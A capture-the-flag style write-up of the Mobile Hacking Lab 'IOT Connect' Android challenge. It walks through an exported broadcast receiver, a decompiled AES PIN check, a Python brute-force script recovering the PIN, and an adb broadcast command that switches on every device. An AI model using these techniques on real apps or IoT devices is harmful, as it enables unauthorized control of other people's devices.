MobileHackingLab IOT Connect
Overview
This writeup documents my journey exploiting a broadcast receiver vulnerability in the "IOT Connect" Android application from Mobile Hacking Lab. The challenge involved bypassing authentication restrictions to activate a master switch that controls all connected IoT devices.
Initial Assessment
When I first launched the application, I was presented with a login page offering login and signup options. After creating an account, I noticed several limitations:
Regular/guest accounts can only control basic devices
Premium features like AC, speakers, and TV remain locked
The master switch (which activates all devices) requires a 3-digit PIN
Guest accounts cannot access the master switch functionality. This permission structure immediately suggested that the challenge would involve bypassing these restrictions to gain unauthorized control over all connected devices.
Static Analysis
Manifest Examination
My first step was to examine the application's manifest file using Jadx. The most interesting discovery was an unprotected broadcast receiver:
<receiver android:name=".MasterReceiver" android:exported="true">
<intent-filter>
<action android:name="MASTER_ON"/>
</intent-filter>
</receiver>
The key security issue here is that this broadcast receiver:
Has no permission restrictions
Is exported (making it accessible to other applications)
Has a simple, predictable intent action name ("MASTER_ON") These factors make it a prime target for exploitation.
Locating the Vulnerability
To understand how the broadcast receiver processes incoming intents, I searched for its implementation and found it in the CommunicationManager
class. The receiver implementation revealed:
// Inside CommunicationManager.java
private BroadcastReceiver masterReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
if ("MASTER_ON".equals(intent.getAction())) {
int key = intent.getIntExtra("key", -1);
if (key != -1 && check_key(key)) {
turnOnAllDevices();
}
}
}
};
This confirmed that activating the master switch required sending a broadcast with:
Action: "MASTER_ON"
Extra integer parameter: "key" with a valid value
Cryptographic Analysis
The check_key
function contained the core validation logic:
private boolean check_key(int inputKey) {
try {
// Convert 3-digit PIN to byte array with padding
byte[] keyBytes = new byte[16]; // AES key size
String keyStr = String.valueOf(inputKey);
System.arraycopy(keyStr.getBytes(), 0, keyBytes, 0, keyStr.length());
// Remaining bytes stay as zeros (padding)
// Decrypt challenge using the key
String encryptedBase64 = "OSnaALIWUkpOziVAMycaZQ==";
byte[] encryptedBytes = Base64.decode(encryptedBase64, Base64.DEFAULT);
// AES/ECB decryption
SecretKeySpec keySpec = new SecretKeySpec(keyBytes, "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(Cipher.DECRYPT_MODE, keySpec);
byte[] decryptedBytes = cipher.doFinal(encryptedBytes);
// Check if decryption yields "master_on"
String decrypted = new String(decryptedBytes, "UTF-8");
return "master_on".equals(decrypted);
} catch (Exception e) {
return false;
}
}
From this analysis, I understood that: 2. The 3-digit PIN is converted to bytes and padded with zeros to create a 16-byte AES key 3. The function attempts to decrypt the base64 string "OSnaALIWUkpOziVAMycaZQ==" 4. If the decryption result equals "master_on", authentication succeeds
Exploitation Approach
Since the key space is small (000-999), a brute force approach is feasible. I created a script to try all possible combinations:
from Cryptodome.Cipher import AES
import base64
# Target encrypted string from application
encrypted_base64 = "OSnaALIWUkpOziVAMycaZQ=="
encrypted_bytes = base64.b64decode(encrypted_base64)
target_plaintext = "master_on"
# Brute force all possible 3-digit keys
for i in range(1000):
try:
# Format the PIN with leading zeros if needed
pin = f"{i:03d}"
# Create the 16-byte key (PIN + zero padding)
key_bytes = bytearray(16) # Initialize with zeros
pin_bytes = pin.encode('utf-8')
key_bytes[0:len(pin_bytes)] = pin_bytes
# Set up AES decryption
cipher = AES.new(bytes(key_bytes), AES.MODE_ECB)
decrypted = cipher.decrypt(encrypted_bytes)
# Remove padding and convert to string
plaintext = decrypted.decode('utf-8').strip()
# Check if we found the correct key
if target_plaintext in plaintext:
print(f"[+] Success! PIN found: {pin}")
print(f"[+] Decrypted text: {plaintext}")
break
except UnicodeDecodeError:
# Invalid decryption will produce non-UTF-8 bytes
continue
except Exception as e:
# Other errors
continue
Running this script revealed the PIN code: 345
Proof of Concept
With the PIN identified, I verified the exploit using ADB to send the broadcast:
adb shell am broadcast -a MASTER_ON --ei key 345
Upon executing this command:
The broadcast was received by the vulnerable receiver
The key was successfully validated
All devices were activated, including those normally restricted to guest users This confirmed successful exploitation of the broadcast receiver vulnerability.
Vulnerability Impact
This vulnerability allows any application or attacker with ADB access to:
Bypass authentication restrictions
Control all connected IoT devices
Potentially manipulate home security systems or cause physical impacts


Last updated